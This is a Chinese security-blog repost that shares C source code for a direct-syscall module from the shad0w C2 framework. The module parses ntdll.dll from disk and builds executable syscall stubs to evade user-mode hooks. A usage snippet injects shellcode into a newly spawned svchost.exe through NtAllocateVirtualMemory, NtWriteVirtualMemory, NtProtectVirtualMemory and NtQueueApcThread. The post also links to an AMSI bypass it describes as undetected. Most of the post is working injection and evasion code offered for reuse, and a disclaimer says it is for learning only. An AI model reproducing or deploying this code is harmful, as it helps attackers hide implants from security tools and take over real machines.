专栏首页鸿鹄实验室C2基石--syscall模块及amsi bypass

C2基石--syscall模块及amsi bypass

最近读了一些C2的源码,其中shad0w的syscall模块具有很高的移植性,分享给有需要的朋友。

syscall.h

#include <windows.h>

#define SYSCALL_STUB_SIZE 23
#define NTDLL_PATH "C:\\Windows\\System32\\ntdll.dll"

typedef NTSTATUS (NTAPI * _NtAllocateVirtualMemory) (
    HANDLE    ProcessHandle,
    PVOID*    BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T   RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
);

typedef NTSTATUS (NTAPI * _NtProtectVirtualMemory) (
    HANDLE  ProcessHandle,
    PVOID*  BaseAddress,
    PSIZE_T NumberOfBytesToProtect,
    ULONG   NewAccessProtection,
    PULONG  OldAccessProtection
);

typedef NTSTATUS (NTAPI * _NtWriteVirtualMemory) (
    HANDLE ProcessHandle,
    PVOID  BaseAddress,
    PVOID  Buffer,
    ULONG  BufferSize,
    PULONG NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI * _NtQueueApcThread) (
    HANDLE          ThreadHandle,
    PIO_APC_ROUTINE ApcRoutine,
    PVOID           NormalContext,
    PVOID           SystemArgument1,
    PVOID           SystemArgument2
);

typedef NTSTATUS (NTAPI * _NtAlertResumeThread) (
    HANDLE ThreadHandle,
    PULONG SuspendCount
);

typedef NTSTATUS (NTAPI * _NtOpenProcess) (
    PHANDLE            ProcessHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    CLIENT_ID*         ClientId
);

typedef NTSTATUS (NTAPI * _NtOpenThread) (
    PHANDLE            ThreadHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID         ClientId
);

typedef NTSTATUS (NTAPI * _NtSuspendThread)(
    HANDLE ThreadHandle
);

typedef NTSTATUS (NTAPI * _NtGetContextThread)(
    HANDLE ThreadHandle,
    PCONTEXT Context
);

typedef NTSTATUS (NTAPI * _NtSetContextThread)(
    HANDLE ThreadHandle,
    PCONTEXT Context
);

typedef NTSTATUS (NTAPI * _NtResumeThread)(
    HANDLE ThreadHandle
);


struct NtInfo
{
  PIMAGE_EXPORT_DIRECTORY pExprtDir;
  LPVOID          lpRawData;
  PIMAGE_SECTION_HEADER  pTextSection;
  PIMAGE_SECTION_HEADER  pRdataSection;
  CHAR            cSyscallStub;
};

struct Syscalls
{
  _NtAllocateVirtualMemory NtAllocateVirtualMemory;
    _NtProtectVirtualMemory  NtProtectVirtualMemory;
    _NtWriteVirtualMemory    NtWriteVirtualMemory;
    _NtQueueApcThread        NtQueueApcThread;
    _NtOpenProcess           NtOpenProcess;
    _NtOpenThread            NtOpenThread;
    _NtSuspendThread         NtSuspendThread;
    _NtGetContextThread      NtGetContextThread;
    _NtSetContextThread      NtSetContextThread;
    _NtResumeThread          NtResumeThread;
};

extern CHAR SyscallStub[SYSCALL_STUB_SIZE];

syscall.h

#include <windows.h>
#include <ntdef.h>
#include <tlhelp32.h>
#include <winternl.h>

#include "syscalls.h"

CHAR SyscallStub[SYSCALL_STUB_SIZE] = {};

PVOID RVAtoRawOffset(DWORD_PTR RVA, PIMAGE_SECTION_HEADER section)
{
  return (PVOID)(RVA - section->VirtualAddress + section->PointerToRawData);
}

BOOL MakeSyscall(LPCSTR functionName, PIMAGE_EXPORT_DIRECTORY exportDirectory, LPVOID fileData, PIMAGE_SECTION_HEADER textSection, PIMAGE_SECTION_HEADER rdataSection, LPVOID syscallStub)
{
    DWORD  dwOldProc             = 0;
  PDWORD pdwAddressOfNames     = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfNames), rdataSection);
  PDWORD pdwAddressOfFunctions = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfFunctions), rdataSection);
  BOOL   bStubFound            = FALSE;

  for (size_t i = 0; i < exportDirectory->NumberOfNames; i++)
  {
    DWORD_PTR functionNameVA    = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + pdwAddressOfNames[i], rdataSection);
    DWORD_PTR functionVA        = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + pdwAddressOfFunctions[i + 1], textSection);
    LPCSTR functionNameResolved = (LPCSTR)functionNameVA;

    if (strcmp(functionNameResolved, functionName) == 0)
    {
      memcpy((LPVOID)syscallStub, (LPVOID)functionVA, SYSCALL_STUB_SIZE);
            VirtualProtect((LPVOID)syscallStub, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProc);
      bStubFound = TRUE;
    }
  }

  return bStubFound;
}

VOID CleanSyscall(LPVOID syscallStub)
{
    DWORD dwOldProc   = 0;
    CHAR* pcOverWrite = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

    VirtualProtect((LPVOID)syscallStub, SYSCALL_STUB_SIZE, PAGE_READWRITE, &dwOldProc);
    memcpy((LPVOID)syscallStub, (LPVOID)pcOverWrite, SYSCALL_STUB_SIZE);

    return;
}

VOID ParseNtdll(struct NtInfo *NtdllInfo, struct Syscalls *SyscallTable)
{
    HANDLE hFile;
    DWORD  dwFileSize;
    LPVOID lpFileData;
    DWORD  dwBytesRead;

    DWORD dwOldProc                       = 0;

    SyscallTable->NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)(LPVOID)SyscallStub;
    SyscallTable->NtProtectVirtualMemory  = (_NtProtectVirtualMemory)(LPVOID)SyscallStub;
    SyscallTable->NtWriteVirtualMemory    = (_NtWriteVirtualMemory)(LPVOID)SyscallStub;
    SyscallTable->NtQueueApcThread        = (_NtQueueApcThread)(LPVOID)SyscallStub;
    SyscallTable->NtOpenProcess           = (_NtOpenProcess)(LPVOID)SyscallStub;
    SyscallTable->NtOpenThread            = (_NtOpenThread)(LPVOID)SyscallStub;
    SyscallTable->NtSuspendThread         = (_NtSuspendThread)(LPVOID)SyscallStub;
    SyscallTable->NtGetContextThread      = (_NtGetContextThread)(LPVOID)SyscallStub;
    SyscallTable->NtSetContextThread      = (_NtSetContextThread)(LPVOID)SyscallStub;
    SyscallTable->NtResumeThread          = (_NtResumeThread)(LPVOID)SyscallStub;

    VirtualProtect(SyscallStub, SYSCALL_STUB_SIZE, PAGE_READWRITE, &dwOldProc);

    hFile                = CreateFileA(NTDLL_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    dwFileSize           = GetFileSize(hFile, NULL);
    NtdllInfo->lpRawData = HeapAlloc(GetProcessHeap(), 0, dwFileSize);

    ReadFile(hFile, NtdllInfo->lpRawData, dwFileSize, &dwBytesRead, NULL);

    PIMAGE_DOS_HEADER dosHeader      = (PIMAGE_DOS_HEADER)NtdllInfo->lpRawData;
  PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)NtdllInfo->lpRawData + dosHeader->e_lfanew);
  DWORD dwExportDirRVA             = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_SECTION_HEADER section    = IMAGE_FIRST_SECTION(imageNTHeaders);
  NtdllInfo->pTextSection          = section;
  NtdllInfo->pRdataSection         = section;

    for (INT i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
  {
        if (strncmp(section->Name, ".rdata", 6) == NULL)
        {
            NtdllInfo->pRdataSection = section;
            break;
        }
        section++;
    }

    NtdllInfo->pExprtDir = (PIMAGE_EXPORT_DIRECTORY)RVAtoRawOffset((DWORD_PTR)NtdllInfo->lpRawData + dwExportDirRVA, NtdllInfo->pRdataSection);
}

调用方法:

#include "syscalls.h"

 RtlGetVersion(&osInfo);
       CreateProcessA("C:\\Windows\\system32\\svchost.exe", NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sInfo, &pInfo);

        LPVOID rBuffer = NULL;
        struct NtInfo NtdllInfo;
        struct Syscalls rSyscall;
        SIZE_T uSize = (SIZE_T)Size;

        ParseNtdll(&NtdllInfo, &rSyscall);

        // alloc the memory we need inside the process
        MakeSyscall("NtAllocateVirtualMemory", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtAllocateVirtualMemory(pInfo.hProcess, &rBuffer, 0, &uSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
        CleanSyscall(SyscallStub);

        // write our shellcode bytes to the process
        MakeSyscall("NtWriteVirtualMemory", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtWriteVirtualMemory(pInfo.hProcess, rBuffer, Bytes, Size, NULL);
        CleanSyscall(SyscallStub);

        // change the permisions on the memory so we can execute it
        MakeSyscall("NtProtectVirtualMemory", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtProtectVirtualMemory(pInfo.hProcess, &rBuffer, &uSize, PAGE_EXECUTE_READWRITE, &oProc);
        CleanSyscall(SyscallStub);

        // execute the code inside the process
        MakeSyscall("NtQueueApcThread", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtQueueApcThread(pInfo.hThread, (PIO_APC_ROUTINE)rBuffer, NULL, NULL, NULL);
        CleanSyscall(SyscallStub);

以及一个目前过amsi且全球静态可过的方法,来源

https://twitter.com/TihanyiNorbert/status/1278078606737096704/photo/1:

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-08-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • C2工具之RedPeanut(红花生)

    RedPeanut是在.Net Core 2中开发的小型RAT及其在.Net 3.5 / 4.0中的代理。RedPeanut代码执行基于DonutCS生成的sh...

    鸿鹄实验室
  • Antimalware Scan Interface (AMSI)—反恶意软件扫描接口的绕过

    反恶意软件扫描接口(AMSI)是MicrosoftWindows保护系统,旨在保护计算机免受通过脚本语言(例如PowerShell,VBScript,JavaS...

    洛米唯熊
  • 总结到目前为止发现的所有EDR绕过方法

    所有关注攻击性安全社区的人都会在过去两年中一次又一次地遇到Userland hooking, Syscalls, P/Invoke/D-Invoke等术语。我自...

    用户2202688
  • AMSI调试及绕过

    首先我们要知道AMSI是一个什么东西,之前做过相关的分享,这里就不再去啰嗦其概念了,一句话概括,win10自带的一个扫描接口,其核心组件存在于amsi.dll内...

    鸿鹄实验室
  • 11.反恶意软件扫描接口 (AMSI)

    Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,可以集成在应用程序和服务与机器上存在的任何反恶意软件产品中。可以增强杀毒软件的查杀能力。

    黑白天安全
  • APT的思考: PowerShell命令混淆高级对抗

    上一篇讲解了APT攻击中用到的cmd命令混淆,本篇延续上一篇的内容,分析一下攻击中更加常用的powershell混淆和检测方法。

    七夜安全博客
  • HTTP-revshell:能绕过AMSI的PowerShell代理感知型反向Shell

    HTTP-revshell是一个能够绕过AMSI的PowerShell代理感知型反向Shell,这款工具转为红队研究人员以及渗透测试人员设计,能够通过HTTP/...

    FB客服
  • 无招胜有招: 看我如何通过劫持COM服务器绕过AMSI

    ? 在Windows 10中,Microsoft的反恶意软件扫描接口(AMSI)被作为新功能被引入,作为标准接口,该功能可以让反病毒引擎将特征规则应用于机器的...

    FB客服
  • Antimalware Scan Interface Provider for Persistence

    Windows 反恶意软件扫描接口 (AMSI) 是微软推出一种通用接口标准,允许的应用程序和服务与机器上存在的任何毒软件进行调用。AMSI 为的最终用户及其数...

    黑白天安全
  • 干货 |GitHUB安全搬运工 九

    Vulfocus 是一个漏洞集成平台,将漏洞环境 docker 镜像,放入即可使用,开箱即用。

    HACK学习
  • Malleable-C2-Profiles配置

    在日常的渗透测试工作中,我们需要做很多的规避操作,因为我们所使用的C2工具等,可能早已被AV等防护软件所标记,所以我们需要订制我们的攻击工具。而这就引出了我们的...

    鸿鹄实验室
  • 基于威胁情报周期模型的APT木马剖析

    近日,腾讯服务器安全系统“洋葱”协助部署于公有云的某合作方捕获到一起APT事件,目前已处置完毕。处置过程中捕获木马样本一枚,该样本中包含了大量隐匿攻击手法,“洋...

    腾讯安全应急响应中心
  • Red Team 工具集之攻击武器库

    上图是一个 Red Team 攻击的生命周期,整个生命周期包括:信息收集、攻击尝试获得权限、持久性控制、权限提升、网络信息收集、横向移动、数据分析(在这个基础上...

    信安之路
  • 适用于渗透测试不同阶段的工具收集整理

    该资源清单列表涵盖了一系列,适用于渗透测试不同阶段的开源/商业工具。如果你想为此列表添加贡献,欢迎你向我发送pull request。

    FB客服
  • “寄生兽”(DarkHotel)针对中国外贸人士的最新攻击活动披露

    腾讯御见威胁情报中心曾在2018年4月披露过"寄生兽"(DarkHotel)在2018年针对中国外贸企业高管的定向攻击活动。近期,我们再次检测到该攻击组织的最新...

    FB客服
  • 远控免杀从入门到实践——工具总结篇

    在了解了免杀的一些基础知识和 Metasploit 自带的一些免杀方式之后,我开始学习和研究市面上知名度比较高的免杀工具,从互联网上找到了大约 30 多个免杀工...

    FB客服
  • 一种 Powershell 的混淆方式绕过 AMSI 检测

    这篇文章将是关于通过 PowerShell 混淆来规避大多数 AV。这不是什么新鲜事,但很多人问我如何真正隐藏,或者如何混淆现有的有效载荷或 PowerShel...

    信安之路
  • eBCC性能分析最佳实践(0) - 开启性能分析新篇章

    eBCC,顾名思义则是extended BCC的缩写,是阿里巴巴内核团队在Aliyun Linux 2上对BCC项目的拓展,包含BCC本身已有的工具集,和我们新...

    Linux阅码场
  • 渗透测试神器Cobalt Strike

    Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,...

    C4rpeDime

扫码关注云+社区

领取腾讯云代金券